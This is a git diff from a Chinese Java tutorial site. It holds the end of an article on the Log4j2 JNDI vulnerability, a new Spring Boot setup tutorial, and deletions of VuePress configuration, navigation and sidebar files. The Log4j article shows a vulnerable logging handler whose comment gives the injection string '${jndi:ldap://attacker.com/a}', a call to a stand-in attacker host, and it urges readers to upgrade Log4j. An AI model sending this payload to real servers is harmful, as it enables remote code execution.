+利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
+
+```java
+public class VulnerableLog4jExampleHandler implements HttpHandler {
+ static Logger log = Logger.getLogger(log4jExample.class.getName());
+ /**
+ * A simple HTTP endpoint that reads the request's User Agent and logs it back.
+ *
+ * This is basically pseudo-code to explain the vulnerability, and not a full example.
+ *
+ * @param he HTTP Request Object
+ */
+ public void handle(HttpExchange he) throws IOException {
+ String userAgent = he.getRequestHeader("user-agent");
+// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
+// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
+ log.info("Request User Agent:" + userAgent);
+ String response = "Hello There, " + userAgent + "!
";
+ he.sendResponseHeaders(200, response.length());
+ OutputStream os = he.getResponseBody();
+ os.write(response.getBytes());
+ os.close();
+ }
+}
+```
+
+具体的攻击手段可以参考这里:
+
+>https://github.com/apache/pulsar/issues/13232
+
+下图是程序猿阿朗画的简单的攻击链路步骤图。
+
+
+
+感兴趣的小伙伴可以在本地复现一下,但**千万不要不当利用**哦!
+
+
+
+再次提醒大家一下,排查自己的项目是否引入了 Apache log4j-core Jar 包。
+
+
+
+如果存在依赖引入,且在受影响版本范围内,请升级到 Apache Log4j2 2.15.0 版本,目前已经 release。
+
+
+
diff --git a/docs/springboot/initializr.md b/docs/springboot/initializr.md
new file mode 100644
index 0000000000..ca957c2189
--- /dev/null
+++ b/docs/springboot/initializr.md
@@ -0,0 +1,164 @@
+
+
+### 一、Spring Boot 项目搭建
+
+Spring 官方提供了 Spring Initializr 的方式来创建 Spring Boot 项目。网址如下:
+
+>https://start.spring.io/
+
+打开后的界面如下:
+
+
+
+
+可以将 Spring Initializr 看作是 Spring Boot 项目的初始化向导,它可以帮助开发人员在一分钟之内创建一个 Spring Boot 骨架,非常的傻瓜式。
+
+来解释一下 Spring Initializr 初始化界面中的关键选项。
+
+1)Project:项目的构建方式,可以选择 [Maven](https://mp.weixin.qq.com/s/3umZOaI4l0EIZ5RgtEDchw) 和 Gradle(构建脚本基于 Groovy 或者 Kotlin 等语言来编写,而不是传统的 XML)。默认 Maven 即可。
+
+2)Language:项目的开发语言,可以选择 Java、Kotlin(JetBrains开发的可以在 JVM 上运行的编程语言)、Groovy(可以作为 Java 平台的脚本语言来使用)。默认 Java 即可。
+
+3)Spring Boot:项目使用的 Spring Boot 版本。默认版本即可,比较稳定。
+
+4)Project Metada:项目的基础设置,包括包名、打包方式、JDK 版本等。
+
+- Group:项目所属组织的标识符,比如说 vip.r2java;
+- Artifact:项目的标识符,比如说 tobebetterjavaer;
+- Name:默认保持和 Artifact 一致即可;
+- Description: 项目的描述信息,比如说《Java 程序员进阶之路》;
+- Package name:项目包名,根据Group和Artifact自动生成即可。
+- Packaging: 项目打包方式,可以选择 Jar 和 War(SSM 时代,JavaWeb 项目通常会打成 War 包,放在 Tomcat 下),Spring Boot 时代默认 Jar 包即可,因为 Spring Boot 可以内置 Tomcat、Jetty、Undertow 等服务容器了。
+- Java:项目选用的 JDK 版本,选择 11 或者 8 就行。
+
+5)Dependencies:项目所需要的依赖和 starter。如果不选择的话,默认只有核心模块 spring-boot-starter 和测试模块 spring-boot-starter-test。
+
+好,接下来我们使用 Spring Initializr 初始化一个 Web 项目,Project 选择 Maven,Spring Boot 选择 2.6.1,Java 选择 JDK 8,Dependencies 选择「Build web, including RESTful, applications using Spring MVC. Uses Apache Tomcat as the default embedded container.」
+
+
+
+
+这预示着我们会采用 SpringMVC 并且使用 Tomcat 作为默认服务器来开发一个 Web 项目。
+
+然后点击底部的「generate」按钮,就会生成一个 Spring Boot 初始化项目的压缩包。
+
+
+
+
+### 二、Spring Boot 项目结构分析
+
+解开压缩包,并导入到 Intellij IDEA 中,可以看到 Spring Boot 项目的目录结构。
+
+
+
+
+可以使用 `tree -CfL 3` 命令以树状图列出目录的内容:
+
+
+
+
+- src/main/java 为项目的开发目录,业务代码在这里写。
+- src/main/resources 为配置文件目录,静态文件、模板文件和配置文件都放在这里。
+ - 子目录 static 用于存放静态资源文件,比如说 JS、CSS 图片等。
+ - 子目录 templates 用于存放模板文件,比如说 thymeleaf 和 freemarker 文件。
+- src/test/java 为测试类文件目录。
+- pom.xml 用来管理项目的依赖和构建。
+
+### 三、启动 Spring Boot 项目
+
+第一次启动,我个人习惯在 main 类中右键,在弹出的右键菜单这种选择「run ... main()」启动。
+
+
+
+
+经过 2.5s 左右的 build 后,项目启动成功了,可以在日志中看到 Web 项目是以 Tomcat 为容器的,默认端口号为 8080,根路径为空。
+
+
+
+
+这要比传统的 Web 项目省事省心省力,不需要打成 war 包,不需要把 war 包放到 Tomcat 的 webapp 目录下再启动。
+
+那如果想把项目打成 jar 包放到服务器上,以 `java -jar xxx.jar` 形式运行的话,该怎么做呢?
+
+打开 Terminal 终端, 执行命令 `mvn clean package`,等待打包结果。
+
+
+
+
+
+我们的项目在初始化的时候选择的是 Maven 构建方式,所以 pom.xml 文件中会引入 spring-boot-maven-plugin 插件。
+
+```
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+```
+
+因此我们就可以利用 Maven 命令来完成项目打包,打包完成后,进入 target 目录下,就可以看到打包好的 jar 包了。
+
+
+
+
+利用终端工具 [Tabby](https://mp.weixin.qq.com/s/HeUAPe4LqqjfzIeWDe8KIg),将 jar 包上传到服务器。
+
+
+
+
+执行 `java -jar tobebetterjavaer-0.0.1-SNAPSHOT.jar` 命令。
+
+
+
+
+what??????竟然没有安装 JDK。好吧,为了带白票阿里云服务器的小伙伴一起学习 Linux,我下了血本自己买了一台零添加的服务器。
+
+PS:需要在 centos 环境下安装 JDK 的小伙伴可以看这篇。
+
+>https://segmentfault.com/a/1190000015389941
+
+安装好 JDK 后,再次执行命令就可以看到 Spring Boot 项目可以正常在服务器上跑起来了。
+
+
+
+
+### 四、开发第一个 Spring Boot 项目
+
+项目既然启动成功了,我们在浏览器里访问 8080 端口测试下吧。
+
+
+
+
+咦,竟然 Whitelabel 了,这个 404 页面是 Spring Boot 默认的错误页面,表示我们的请求在 Web 服务中不存在。
+
+那该怎么办呢?
+
+我们来增加一个 Controller 文件,用来处理 Web 请求,内容如下。
+
+```
+@Controller
+public class HelloController {
+
+ @GetMapping("/hello")
+ @ResponseBody
+ public String hello() {
+ return "hello, springboot";
+ }
+}
+```
+
+这段代码的业务逻辑非常简单,用户发送 hello 请求,服务器端响应一个“hello, springboot”回去。
+
+
+
+
+OK,现在可以访问到了。也就表明我们的第一个 Spring Boot 项目开发完成了。
+
+由于公众号的文章发布后不能修改,也没办法加个统一的目录作为索引页,所以二哥就把《Java 程序员进阶之路》的系列文章开源到了 GitHub(点击**阅读原文**可以直接跳转):
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+每天看着 star 数的上涨我心里非常的开心,希望越来越多的 Java 爱好者能因为这个开源项目而受益,而**越来越多人的 star,也会激励我继续更新下去**~
\ No newline at end of file
diff --git a/docs/src/springboot/tomcat.md b/docs/springboot/tomcat.md
similarity index 89%
rename from docs/src/springboot/tomcat.md
rename to docs/springboot/tomcat.md
index 8664d3337e..4a0264c846 100644
--- a/docs/src/springboot/tomcat.md
+++ b/docs/springboot/tomcat.md
@@ -1,13 +1,3 @@
----
-category:
- - Java企业级开发
-tag:
- - Spring Boot
----
-
-
-# Spring Boot为什么不需要额外安装Tomcat?
-
首次接触 Spring Boot 的时候,绝大多数小伙伴应该和我一样好奇:
>为什么 Spring Boot 不需要额外安装 Tomcat 啊?
@@ -33,16 +23,16 @@ tag:
如果你不确定自己的 Maven 本地仓库在哪里,可以在终端执行 `mvn help:effective-settings` 命令。
-
+
顺藤摸瓜,根据 parent 的 groupId、artifactId、version 可以锁定 spring-boot-starter-parent.pom 文件的位置。
-
+
使用文本编辑器打开以后大致可以看到以下内容:
-
+
- 定义了 JDK 的版本为 1.8
- 项目默认的编码方式为 UTF-8
@@ -51,7 +41,7 @@ tag:
照葫芦画瓢,我们按照同样的方法找到 spring-boot-dependencies.pom 文件。可以看到这里面定义了一系列的属性和依赖,差不多 2800 行。
-
+
有消息队列依赖、commons 工具包依赖、数据库链接依赖、HTTP 链接依赖、Spring 家族依赖、Web 服务器依赖等等。
@@ -64,7 +54,7 @@ Spring Boot 会帮我们选好最稳定的新版本,这体现出了 Spring Boo
理解了这一点,我们再来继续看 pom.xml 文件,里面有一个 `spring-boot-starter-web` 依赖。这一次,我们直接按住 Ctrl 键(macOS 是 Command 键),点击鼠标左键就可以跳转到 spring-boot-starter-web.pom 的源文件了。
-
+
部分源码如下:
@@ -160,17 +150,17 @@ spring-webmvc 是 Spring MVC 的一个实现。spring-webmvc 依赖于 spring-we
从这里可以看出来SpringBoot默认的启动容器是Tomcat,Tomcat 的组成核心 jakarta.annotation、tomcat-embed-core、tomcat-annotations-api、org.apache.tomcat.embed 全部都通过 Maven 引入过来了。
-
+
core 的版本是 9.0.55,Tomcat 官网上最新的 9.0.x 版本是 9.0.56,高了一个版本。
-
+
不过无所谓,直接下载 9.0.56 的 src,对比看一下,是否大致相同。
-
+
对比之下可以看得出,Spring Boot 引入的 Tomcat 更精简一点,大体上都是相同的,这也就是**为什么Spring Boot 不需要额外安装 Tomcat 的根本原因了**。
diff --git a/docs/src/.vuepress/client.ts b/docs/src/.vuepress/client.ts
deleted file mode 100644
index aa216a29ca..0000000000
--- a/docs/src/.vuepress/client.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-import { defineClientConfig } from "vuepress/client";
-import MZNXQRcodeBanner from "./components/mznxqrcode.vue";
-
-export default defineClientConfig({
- enhance: ({ app, router, siteData }) => {
- app.component("MZNXQRcodeBanner", MZNXQRcodeBanner);
- },
-});
\ No newline at end of file
diff --git a/docs/src/.vuepress/components/mznxqrcode.vue b/docs/src/.vuepress/components/mznxqrcode.vue
deleted file mode 100644
index 265f4455a3..0000000000
--- a/docs/src/.vuepress/components/mznxqrcode.vue
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
嗨嗨嗨,时隔两年,面渣逆袭第二版 PDF 终于可以下载了。我们做了大量的优化:
-
-
- - 对于高频题:会标注在《Java 面试指南(付费)中出现的位置,哪家公司,原题是什么;如果你想节省时间的话,可以优先背诵这些题目,尽快做到知彼知己,百战不殆。
-
- - 结合项目:包括技术派、mydb、pmhub来组织语言,让面试官最大程度感受到你的诚意,而不是机械化的背诵。
-
- - 修复问题:第一版中出现的问题,包括球友们的私信反馈,网站留言区的评论,以及 GitHub 仓库中的 issue,让这份面试指南更加完善。
-
- - 优化排版:增加手绘图,重新组织答案,使其更加口语化,从而更贴近面试官的预期。
-
-
-
你可以扫下面的二维码(或者长按自动识别)关注【沉默王二】公众号,发送关键字 222 来获取 PDF 版本,如果面渣逆袭真的对你有帮助,希望能给二哥的公众号加一个星标,满足我那一丁点虚荣心,这将是我更新下去的最强动力。
-
-
-

-
-
-
面渣逆袭的整理工作真的太不容易了,花了我好多好多的时间和精力,内容完全免费,但质量却有口皆碑,就是为了做一点真正有意义的、纯粹的事情。
-
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/config.ts b/docs/src/.vuepress/config.ts
deleted file mode 100644
index 26cb744abf..0000000000
--- a/docs/src/.vuepress/config.ts
+++ /dev/null
@@ -1,76 +0,0 @@
-import { defineUserConfig } from "vuepress";
-
-import theme from "./theme.js";
-
-export default defineUserConfig({
- base: "/",
-
- // HTML 目录
- dest: "./dist",
-
- lang: "zh-CN",
- // 标题
- title: "二哥的Java进阶之路",
- // 描述
- description: "一份通俗易懂、风趣幽默的Java学习指南,内容涵盖Java基础、Java并发编程、Java虚拟机、AI应用开发、大模型应用开发、求职面试等核心知识点。学Java/AI,就认准二哥的Java进阶之路",
-
- theme,
-
- // pwa 建议设置为 false
- shouldPrefetch: false,
-
- head: [
- // meta
- ["meta", { name: "robots", content: "all" }],
- ["meta", { name: "author", content: "沉默王二" }],
- [
- "meta",
- {
- "http-equiv": "Cache-Control",
- content: "no-cache, no-store, must-revalidate",
- },
- ],
- ["meta", { "http-equiv": "Pragma", content: "no-cache" }],
- ["meta", { "http-equiv": "Expires", content: "0" }],
- [
- "meta",
- {
- name: "keywords",
- content:
- "Java, Java基础, 并发编程, JVM, 虚拟机, 数据库, MySQL, Spring, Redis, MyBatis, SpringBoot, IDEA, 求职面试, 面渣逆袭, 学习路线, AI应用开发, 大模型应用开发, Agent开发",
- },
- ],
- ["meta", { name: "apple-mobile-web-app-capable", content: "yes" }],
- [
- "script",{},
- `
- var _hmt = _hmt || [];
- (function() {
- var hm = document.createElement("script");
- hm.src = "https://hm.baidu.com/hm.js?5230ac143650bf5eb3c14f3fb9b1d3ec";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(hm, s);
- })();
- `
- ],
- [
- "script",{},
- `
- var _hmt = _hmt || [];
- (function() {
- var hm = document.createElement("script");
- hm.src = "https://hm.baidu.com/hm.js?59aa453e7e706422c636c079fc1cb031";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(hm, s);
- })();
- `
- ],
- [
- "link",
- {
- rel: "stylesheet",
- href: "//at.alicdn.com/t/font_3180624_7cy10l7jqqh.css",
- },
- ],
- ],
-});
diff --git a/docs/src/.vuepress/navbar.ts b/docs/src/.vuepress/navbar.ts
deleted file mode 100644
index 7baa18af25..0000000000
--- a/docs/src/.vuepress/navbar.ts
+++ /dev/null
@@ -1,54 +0,0 @@
-import { navbar } from "vuepress-theme-hope";
-
-export default navbar([
- {
- text: "博客",
- icon: "gaishu",
- link: "/blog.md"
- },
- {
- text: "进阶之路",
- icon: "lujing",
- link: "/home.md"
- },
- {
- text: "知识星球",
- icon: "Artboard",
- link: "/zhishixingqiu/"
- },
- {
- text: "学习路线",
- icon: "luxian",
- link: "/xuexiluxian/"
- },
- {
- text: "面渣逆袭",
- icon: "zhunbei",
- link: "/sidebar/sanfene/nixi.md"
- },
- {
- text: "珍藏资源",
- icon: "youzhi",
- children: [
- {
- text: "PDF下载",
- icon: "java",
- link: "/pdf/readme.md"
- },
- {
- text: "求职",
- icon: "zhongyaotishi",
- link: "/sidebar/itwanger/qiuzhi/"
- },
- {
- text: "AI",
- icon: "ai",
- link: "/sidebar/itwanger/ai/"
- },
- {
- text: "上交大生存手册",
- link: "/sidebar/sjtu/"
- },
- ],
- }
-]);
diff --git a/docs/src/.vuepress/public/assets/icon/apple-icon-152.png b/docs/src/.vuepress/public/assets/icon/apple-icon-152.png
deleted file mode 100644
index 4e9a7f7afb..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/apple-icon-152.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/chrome-192.png b/docs/src/.vuepress/public/assets/icon/chrome-192.png
deleted file mode 100644
index 51eac81bf0..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/chrome-192.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/chrome-512.png b/docs/src/.vuepress/public/assets/icon/chrome-512.png
deleted file mode 100644
index c4c8300729..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/chrome-512.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/chrome-mask-192.png b/docs/src/.vuepress/public/assets/icon/chrome-mask-192.png
deleted file mode 100644
index 51eac81bf0..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/chrome-mask-192.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/chrome-mask-512.png b/docs/src/.vuepress/public/assets/icon/chrome-mask-512.png
deleted file mode 100644
index c4c8300729..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/chrome-mask-512.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/guide-maskable.png b/docs/src/.vuepress/public/assets/icon/guide-maskable.png
deleted file mode 100644
index 75449b6098..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/guide-maskable.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/itwanger-282.png b/docs/src/.vuepress/public/assets/icon/itwanger-282.png
deleted file mode 100644
index 834a25cca5..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/itwanger-282.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/itwanger-maskable.png b/docs/src/.vuepress/public/assets/icon/itwanger-maskable.png
deleted file mode 100644
index b18a7cb484..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/itwanger-maskable.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/itwanger-monochrome.png b/docs/src/.vuepress/public/assets/icon/itwanger-monochrome.png
deleted file mode 100644
index b18a7cb484..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/itwanger-monochrome.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/icon/ms-icon-144.png b/docs/src/.vuepress/public/assets/icon/ms-icon-144.png
deleted file mode 100644
index 7a0824506e..0000000000
Binary files a/docs/src/.vuepress/public/assets/icon/ms-icon-144.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/assets/image/advanced.svg b/docs/src/.vuepress/public/assets/image/advanced.svg
deleted file mode 100644
index c27ede597a..0000000000
--- a/docs/src/.vuepress/public/assets/image/advanced.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/blog.svg b/docs/src/.vuepress/public/assets/image/blog.svg
deleted file mode 100644
index 00fc40d792..0000000000
--- a/docs/src/.vuepress/public/assets/image/blog.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/box.svg b/docs/src/.vuepress/public/assets/image/box.svg
deleted file mode 100644
index 9e6408ed04..0000000000
--- a/docs/src/.vuepress/public/assets/image/box.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/features.svg b/docs/src/.vuepress/public/assets/image/features.svg
deleted file mode 100644
index 6d62739369..0000000000
--- a/docs/src/.vuepress/public/assets/image/features.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/github-dark.svg b/docs/src/.vuepress/public/assets/image/github-dark.svg
deleted file mode 100644
index 37fa923df3..0000000000
--- a/docs/src/.vuepress/public/assets/image/github-dark.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/github-light.svg b/docs/src/.vuepress/public/assets/image/github-light.svg
deleted file mode 100644
index d5e6491854..0000000000
--- a/docs/src/.vuepress/public/assets/image/github-light.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/layout.svg b/docs/src/.vuepress/public/assets/image/layout.svg
deleted file mode 100644
index da754b58be..0000000000
--- a/docs/src/.vuepress/public/assets/image/layout.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/assets/image/markdown.svg b/docs/src/.vuepress/public/assets/image/markdown.svg
deleted file mode 100644
index 72056c9cdb..0000000000
--- a/docs/src/.vuepress/public/assets/image/markdown.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/docs/src/.vuepress/public/itwanger.png b/docs/src/.vuepress/public/itwanger.png
deleted file mode 100644
index 1595fdd94b..0000000000
Binary files a/docs/src/.vuepress/public/itwanger.png and /dev/null differ
diff --git a/docs/src/.vuepress/public/itwanger.svg b/docs/src/.vuepress/public/itwanger.svg
deleted file mode 100644
index b7086153b6..0000000000
--- a/docs/src/.vuepress/public/itwanger.svg
+++ /dev/null
@@ -1,81 +0,0 @@
-
-
-
diff --git a/docs/src/.vuepress/public/logo.svg b/docs/src/.vuepress/public/logo.svg
deleted file mode 100644
index 42405a8e14..0000000000
--- a/docs/src/.vuepress/public/logo.svg
+++ /dev/null
@@ -1,60 +0,0 @@
-
-
-
diff --git a/docs/src/.vuepress/sidebar.ts b/docs/src/.vuepress/sidebar.ts
deleted file mode 100644
index cf08f18bf5..0000000000
--- a/docs/src/.vuepress/sidebar.ts
+++ /dev/null
@@ -1,747 +0,0 @@
-import { sidebar } from "vuepress-theme-hope";
-
-export default sidebar({
- "/zhishixingqiu/": [
- "readme.md",
- "jianli",
- "paiflow",
- "paismart",
- "paismart-go",
- "paicoding",
- "pmhub",
- "mianshi",
- "map",
- "qiuzhao-gongsi-mingdan",
- ],
- "/nice-article/itmind/": [
- "readme.md",
- "shangwang.md",
- ],
-
- // 你可以省略 .md 扩展名,以 / 结尾的路径会被推断为 /README.md(区分大小写)
- "/pdf/": [
- "java30day",
- "linux",
- "java",
- "programmer-111",
- "java-concurrent",
- "shejimoshi",
- "java-leetcode",
- "ali-java-shouce",
- "yuanyifeng-c-language",
- "bat-shuati",
- "os",
- "progit",
- "jianli",
- ],
- "/xuexiluxian/": [
- {
- text: "Java学习路线",
- prefix: "java/",
- collapsible: true,
- children: [
- "yitiaolong",
- "thread",
- "jvm",
- ],
- },
- "mysql",
- "redis",
- "c",
- "ccc",
- "python",
- "go",
- "os",
- "qianduan",
- "algorithm",
- "lanqiaobei",
- "bigdata",
- "android",
- "donet",
- "linux",
- ],
- "/sidebar/sanfene/": [
- "nixi",
- "mysql",
- "redis",
- "spring",
- "javase",
- "collection",
- "javathread",
- "jvm",
- "mybatis",
- "os",
- "network",
- "rocketmq",
- "fenbushi",
- "weifuwu",
- "shejimoshi",
- "linux",
- ],
- "/sidebar/sjtu/": [
- {
- text: "心得篇",
- link: "fly/",
- },
- {
- text: "立志篇",
- link: "li-zhi-pian/",
- },
- {
- text: "访谈篇",
- link: "fang-tan-ji//",
- },
- {
- text: "人生篇",
- link: "fu-lu/",
- },
- {
- text: "生存技巧篇",
- link: "sheng-cun-ji-qiao/",
- }
- ],
- // 必须放在最后面
- "/": [
- {
- text: "一、前言",
- link: "home",
- },
- {
- text: "二、Java基础",
- collapsible: true,
- children: [
- // readme小写一定要带上.md,否则找不到
- // Java核心开始
- {
- prefix: "overview/",
- text: "2.1 Java概述及环境配置",
- collapsible: true,
- children: [
- "readme.md",
- "what-is-java",
- "jdk-install-config",
- "IDEA-install-config",
- "hello-world",
- ],
- },
- {
- text: "2.2 Java语法基础",
- collapsible: true,
- children: [
- "basic-extra-meal/48-keywords",
- "basic-grammar/javadoc",
- "basic-grammar/basic-data-type",
- "basic-grammar/type-cast",
- "basic-extra-meal/int-cache",
- "basic-grammar/operator",
- "basic-grammar/flow-control",
- "basic-grammar/basic-exercise",
- ],
- },
- {
- text: "2.3 数组&字符串",
- collapsible: true,
- children: [
- "array/array",
- "array/double-array",
- "array/print",
- "string/string-source",
- "string/immutable",
- "string/constant-pool",
- "string/intern",
- "string/builder-buffer",
- "string/equals",
- "string/join",
- "string/split",
- ],
- },
- {
- text: "2.4 面向对象编程",
- collapsible: true,
- children: [
- "oo/object-class",
- "oo/package",
- "oo/var",
- "oo/method",
- "basic-extra-meal/varables",
- "oo/native-method",
- "oo/construct",
- "oo/access-control",
- "oo/code-init",
- "oo/abstract",
- "oo/interface",
- "oo/inner-class",
- "oo/encapsulation-inheritance-polymorphism",
- "oo/this-super",
- "oo/static",
- "oo/final",
- "basic-extra-meal/instanceof",
- "basic-extra-meal/immutable",
- "basic-extra-meal/override-overload",
- "basic-extra-meal/annotation",
- "basic-extra-meal/enum",
- ],
- },
- {
- text: "2.5 集合框架(容器)",
- collapsible: true,
- prefix: "collection/",
- children: [
- "gailan",
- "arraylist",
- "linkedlist",
- "stack",
- "hashmap",
- "linkedhashmap",
- "treemap",
- "arraydeque",
- "PriorityQueue",
- "time-complexity",
- "list-war-2",
- "generic",
- "iterator-iterable",
- "fail-fast",
- "comparable-omparator",
- "WeakHashMap",
- ],
- },
- {
- text: "2.6 Java IO",
- collapsible: true,
- prefix:"io/",
- children: [
- "shangtou",
- "file-path",
- "stream",
- "reader-writer",
- "buffer",
- "char-byte",
- "serialize",
- "Serializbale",
- "transient",
- "print",
- ],
- },
- {
- text: "2.7 异常处理",
- collapsible: true,
- prefix:"exception/",
- children: [
- "gailan",
- "try-with-resources",
- "shijian",
- "npe",
- "try-catch-xingneng",
- ],
- },
- {
- text: "2.8 常用工具类",
- collapsible: true,
- prefix:"common-tool/",
- children: [
- "scanner",
- "arrays",
- "StringUtils",
- "Objects",
- "collections",
- "hutool",
- "guava",
- "utils",
- ],
- },
- {
- text: "2.9 Java新特性",
- prefix: "java8/",
- link: "/java8/",
- collapsible: true,
- children: [
- "stream",
- "optional",
- "Lambda",
- "java14",
- ],
- },
- {
- text: "2.10 网络编程",
- collapsible: true,
- prefix: "socket/",
- children: [
- "network-base",
- "socket",
- "http",
- ],
- },
- {
- text: "2.11 NIO",
- collapsible: true,
- prefix: "nio/",
- children: [
- "nio-better-io",
- "BIONIOAIO",
- "buffer-channel",
- "paths-files",
- "network-connect",
- "moxing",
- ],
- },
- {
- text: "2.12 Java重要知识点",
- prefix:"basic-extra-meal/",
- collapsible: true,
- children: [
- "java-naming",
- "java-unicode",
- "box",
- "deep-copy",
- "hashcode",
- "pass-by-value",
- "true-generic",
- "fanshe",
- ],
- },
- {
- text: "2.13 并发编程",
- collapsible: true,
- prefix: "thread/",
- children: [
- "readme.md",
- "wangzhe-thread",
- "callable-future-futuretask",
- "thread-state-and-method",
- "thread-group-and-thread-priority",
- "why-need-thread",
- "thread-bring-some-problem",
- "jmm",
- "volatile",
- "synchronized-1",
- "synchronized",
- "pianxiangsuo",
- "cas",
- "aqs",
- "lock",
- "reentrantLock",
- "ReentrantReadWriteLock",
- "condition",
- "LockSupport",
- "map",
- "ConcurrentHashMap",
- "ConcurrentLinkedQueue",
- "BlockingQueue",
- "CopyOnWriteArrayList",
- "ThreadLocal",
- "pool",
- "ScheduledThreadPoolExecutor",
- "atomic",
- "Unsafe",
- "CountDownLatch",
- "fork-join",
- "shengchanzhe-xiaofeizhe",
- ],
- },
- {
- text: "2.14 JVM",
- prefix: "jvm/",
- collapsible: true,
- children: [
- "readme.md",
- "what-is-jvm",
- "how-run-java-code",
- "class-load",
- "class-file-jiegou",
- "bytecode",
- "vm-stack-register",
- "zijiema-zhiling",
- "stack-frame",
- "neicun-jiegou",
- "gc",
- "gc-collector",
- "whereis-the-object",
- "jit",
- "console-tools",
- "view-tools",
- "arthas",
- "oom",
- "cpu-percent-100",
- "zongjie",
- ],
- },
- //Java核心结束
- ],
- },
- {
- text: "三、Java进阶",
- collapsible: true,
- children: [
- {
- text: "3.1 开发/构建工具",
- collapsible: true,
- children: [
- {
- text: "3.1.1 IDE",
- collapsible: true,
- children: [
- "ide/4-debug-skill",
- "ide/xechat",
- "ide/shenji-chajian-10",
- ],
- },
- {
- text: "3.1.2 Maven",
- collapsible: true,
- children: [
- "maven/maven",
- ],
- },
- {
- text: "3.1.3 Git",
- collapsible: true,
- prefix: "git/",
- children: [
- "git-qiyuan",
- "port-22-to-443",
- ],
- },
- {
- text: "3.1.4 Nginx",
- children: [
- "nginx/nginx",
- ],
- },
- ],
- },
- {
- text: "3.2 辅助工具",
- collapsible: true,
- children: [
- "gongju/choco",
- "gongju/brew",
- "gongju/tabby",
- "gongju/warp",
- "gongju/windterm",
- "gongju/chiner",
- "gongju/DBeaver",
- ],
- },
- {
- text: "3.3 开源轮子",
- collapsible: true,
- children: [
- {
- text: "HTTP调用框架Forest",
- link: "gongju/forest",
- },
- {
- text: "单元测试Junit",
- link: "gongju/junit",
- },
- {
- text: "阿里开源的fastjson",
- link: "gongju/fastjson",
- },
- {
- text: "谷歌开源的Gson",
- link: "gongju/gson",
- },
- {
- text: "SpringBoot内置的Jackson",
- link: "gongju/jackson",
- },
- {
- text: "日志框架的鼻祖Log4j",
- link: "gongju/log4j",
- },
- {
- text: "高性能日志框架Log4j2",
- link: "gongju/log4j2",
- },
- {
- text: "Spring Boot内置的Logback",
- link: "gongju/logback",
- },
- {
- text: "日志门面SLF4J",
- link: "gongju/slf4j",
- },
-
- ],
- },
- {
- text: "3.4 Spring",
- collapsible: true,
- children: [
- "springboot/aop-log",
- "springboot/ioc",
- ],
- },
- {
- text: "3.5 Spring Boot",
- collapsible: true,
- children: [
- {
- text: "搭建第一个Spring Boot项目",
- link: "springboot/initializr",
- },
- "springboot/lombok",
- {
- text: "整合MySQL和Druid",
- link: "springboot/mysql-druid",
- },
- {
- text: "整合JPA",
- link: "springboot/jpa",
- },
- {
- text: "整合Thymeleaf",
- link: "springboot/thymeleaf",
- },
- {
- text: "开启事务支持",
- link: "springboot/transaction",
- },
- {
- text: "过滤器、拦截器、监听器",
- link: "springboot/Filter-Interceptor-Listener",
- },
- {
- text: "整合Redis实现缓存",
- link: "redis/redis-springboot",
- },
- {
- text: "整合Logback",
- link: "springboot/logback"
- },
- {
- text: "整合Swagger-UI",
- link: "springboot/swagger"
- },
- {
- text: "整合Knife4j",
- link: "gongju/knife4j"
- },
- {
- text: "整合SpringTask",
- link: "springboot/springtask"
- },
- {
- text: "整合MyBatis-Plus AutoGenerator",
- link: "kaiyuan/auto-generator",
- },
- "springboot/quartz",
- "springboot/mybatis",
- "springboot/docker",
- "springboot/macos-codingmore-run",
- "springboot/windows-codingmore-run",
- "springboot/linux-codingmore-run",
- "springboot/validator",
- ],
- },
- {
- text: "3.6 Netty",
- collapsible: true,
- children: [
- "netty/rumen",
- ],
- },
- {
- text: "3.7 MongoDB",
- collapsible: true,
- children: [
- "mongodb/rumen",
- ],
- },
- {
- text: "3.8 消息队列",
- collapsible: true,
- children: [
- {
- text: "RabbitMQ入门",
- link: "mq/rabbitmq-rumen"
- },
- {
- text: "如何保障消息不丢失",
- link: "mq/100-budiushi"
- },
- "mq/kafka",
- ],
- },
- {
- text: "3.9 微服务/分布式",
- collapsible: true,
